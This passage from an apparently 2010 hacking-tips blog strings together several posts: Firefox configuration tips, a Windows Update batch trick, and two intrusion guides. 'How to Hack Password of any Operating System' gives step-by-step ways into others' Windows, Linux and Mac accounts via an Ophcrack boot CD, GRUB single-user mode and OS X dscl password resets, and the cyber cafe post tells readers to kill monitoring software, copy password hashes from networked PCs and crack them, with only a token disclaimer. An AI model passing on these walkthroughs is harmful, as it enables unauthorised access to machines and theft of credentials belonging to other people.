6. Move or remove the close tab button: Do you accidentally click on the close button of Firefox’s tabs? You can move them or remove them, again through about:config. Edit the preference for “browser.tabs.closeButtons”. Here are the meanings of each value:

0: Display a close button on the active tab only
1: (Default) Display close buttons on all tabs
2: Don’t display any close buttons
3: Display a single close button at the end of the tab bar (Firefox 1.x behavior)

7. Smart keywords: Smart keywords are an easy way to search specific websites directly from the Firefox Location bar. Instead of going to the targeted website, finding the search function, and executing the search, you can search the website using Firefox, while you are at any website.

For example, suppose you search The Internet Movie Database (IMDB) on a regular basis. You can define a smart keyword to enable searching IMDB through your browser. To search IMDB for information on William Shatner, you would enter the following in the Firefox Location bar: imdb William Shatner

To create a Smart Keyword you can follow the steps given in this Tutorial

8. Firefox Optimizer: Firefox Optimizers for Mozilla Firefox v1.x / 2.x / 3.x was developed for an easy and fast optimization of your browsing experience with Firefox. It is based on a collection of popular and well working optimization settings used and tested by the experts. You can download this software from here.

How to Hack Password of any Operating System

2010-03-02T08:47:00.000-08:00

One thing any hacker should know is how to hack into login account of any operating system. Major Operating Systems that are used these days are Windows, Linux and Mac. So today I will show you how to hack into these Operating Systems. Are you curious how easy it is for someone to gain access to your computer? If so, read on to see the technique one might use to figure out your computer password.

Windows

Windows being very popular has a lot of programs available which can be used to hack the login password. One of the most successful program is Ophcrack, and it is free. Ophcrack is based on Slackware, and uses rainbow tables to solve passwords up to 14 characters in length. The time required to solve a password? Generally 10 seconds. The expertise needed? None.

Simply download the Ophcrack ISO and burn it to a CD (or load it onto a USB drive via UNetbootin). Insert the CD into a machine you would like to gain access to, then press and hold the power button until the computer shuts down. Turn the computer back on and enter BIOS at startup. Change the boot sequence to CD before HDD, then save and exit.

The computer will restart and Ophcrack will be loaded. Sit back and watch as it does all the work for your. Write down the password it gives you, remove the disc, restart the computer, and log in as if it were you own machine.

You can download OphCrack from the following link:

http://ophcrack.sourceforge.net/

Linux

Linux is an operating system which is quickly gaining popularity in mainstream, but not so common that you’re likely to come across it. Though Mac and Linux are both based on Unix, it is easier to change the password in Linux than it is OS X.

To change the password, turn on the computer and press the ESC key when GRUB appears. Scroll down and highlight ‘Recovery Mode’ and press the ‘B’ key; this will cause you to enter ‘Single User Mode’.

You’re now at the prompt, and logged in as ‘root’ by default. Type ‘passwd’ and then choose a new password. This will change the root password to whatever you enter. If you’re interested in only gaining access to a single account on the system, however, then type ‘passwd username’ replacing ‘username’ with the login name for the account you would like to alter the password for.

Mac

Finally we take on Mac’s OS X which as we said earlier is based on Unix and is difficult to change password compared to Linux but nothing is impossible to be hacked.

The easiest method would be to use Ophcrack on this also as it works with Mac and Linux in addition to Windows. However, there are other methods that can be used, as demonstrated below.

If the Mac runs OS X 10.4, then you only need the installation CD. Insert it into the computer, reboot. When it starts up, select UTILITIES > RESET PASSWORD. Choose a new password and then use that to log in.

If the Mac runs OS X 10.5, restart the computer and press COMMAND + S. When at the prompt, type:

fsck -fy

mount -uw /

launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist

dscl . -passwd /Users/UserName newpassword

That’s it. Now that the password is reset, you can login.

How To Hack Closed PC On Cyber Cafe

2010-03-01T06:53:00.000-08:00

Hey all geeks,
Sorry for being away for almost a month, but guess what , got many new tricks & hacks with me for all of you.
So here is a quick new hack on how to intrude in the PC which is shut downed at Cyber cafe.
(Don’t Forget to read our disclaimer at the bottom of the post.)

1. As you all must have know these days all Cyber cafe owners have a program for administration to control all PC’s in local area network. So all files can be inter transmitted.

2. First of all press Ctrl+Alt+Del the task manager or any controlling application, will open. Then from APPLICATIONS select the program that is controlling all PC’s & terminate it, This is for security reason. Now log of PC, & you ll get user names of the PC.

3. But some times, cyber cafes have security clients installed that have restricted access to Task Manager, restart the computer & press F8 continuously before windows boots.
The Menu will open, select Safe Mode from it. And now you can copy files from networked PC’s without any security layer.
Next step is where you’ll need to crack the hashes. SO go to your home PC , Download & install Saminside cracking tool. And from some another Cyber cafe try to crack the hashes of that PC. By same log off method explained below.
This where you actually perform hacking. Have a gret time & tell us weather it worked for you.
Meanwhile if you can get IP address, of the PC you wish to hack try to get it from ip-explorer.com, but this is not the part of this hack its sort of next step of hacking from outside the network.

Disclaimer : The trick here explained it for educational purpose only & not to perform illegal or criminal activities. Don’t forget hacking into some one’s privacy is considered as crime. SO do it on your home network that you own or something. We are not responsible for anything you do & consequences of it by using our articles.

How to Stop Annoying “Restart” Prompt after Windows Updates

2010-03-01T03:34:00.003-08:00

Windows users can find many things to complain about, but in my opinion, the absolute worst “feature” of Windows is the Nagging Restart Dialog Box.

I’m sure you’ve had to deal with this. It pops up every ten minutes after a major system update. Fortunately, it can be turned off. I’m going to help you to create a shortcut that will turn this nag off when double-clicked.

So, how to stop automatic updates from restarting your PC

Step 1

Your first step is to open Notepad. (Start > Run > “Notepad” > OK)

In Notepad, just type the command “net stop wuauserv” (no quotes, as in above). Then close the window, and select “Yes” to save changes.

Step 2

What we’re doing is creating an executable batch file which will run a command when double-clicked, to stop the Windows Automatic Updates Service. Make sure that your “Save as type” is set to “All Files” so that you don’t accidently create a text file. Save your file with an extension of “.bat” for example “stop this.bat” as shown above.

Step 3

This cute little batch file is what you’re left with.

When Windows starts nagging you to restart, just double click this to run it and stop the service. You won’t be bothered again. The service will restart when you reboot, which is needed to install the updates in the first place.

Is there anything that Windows does that annoys you? Maybe we can find a fix for it. Are you aware of any easier way to stop automatic updates from restarting your Windows. Please give us some ideas in the comments.

3 Firefox Tips You May Not Know About

2010-03-01T00:25:00.000-08:00

The thing I like best about Firefox is that just when you think you know everything there is to know about the browser, something new comes along and surprises you.

I discovered five new Firefox tips today. Maybe these are old hat and you know them already. Or maybe like me, you had no idea these could be done.

1. Delete visited URL’s

When you drop down the box underneath the address bar, you can see your recent browsing history. But what if you want to remove one URL from that list? Maybe you’ve been looking at a naughty site and you don’t want your girfriend to know? Or maybe you’ve been shopping for your loved one online and you want to keep it a secret?
Just drop down the URL box, highlight the URL you want to zap then press the “delete” button on your keyboard. The URL will then be removed from the list.

2. Navigate to browser tabs using the keyboard

Instead of using the mouse to click on a tab, why not use the keyboard instead? Pressing CTRL + TAB together will bounce you from tab to tab, starting from the one in the far left and working its way along. Or if you want to go to a specifc tab straight away, you can do that too. CTRL + 2 will take you directly to the second tab from the left. CTRL + 5 will take you to the fifth tab from the left.

3. Grab files off webpages, even protected webpages

Have you ever wanted a picture, file or video off a webpage but you can’t, because it’s been protected? Just right-click on the page, choose “View Page Info” then the “media” tab. Find the file you’re looking for from the list and click on “save”.

(note : this doesn’t work for everything but I have still had a pretty high success rate nonetheless).
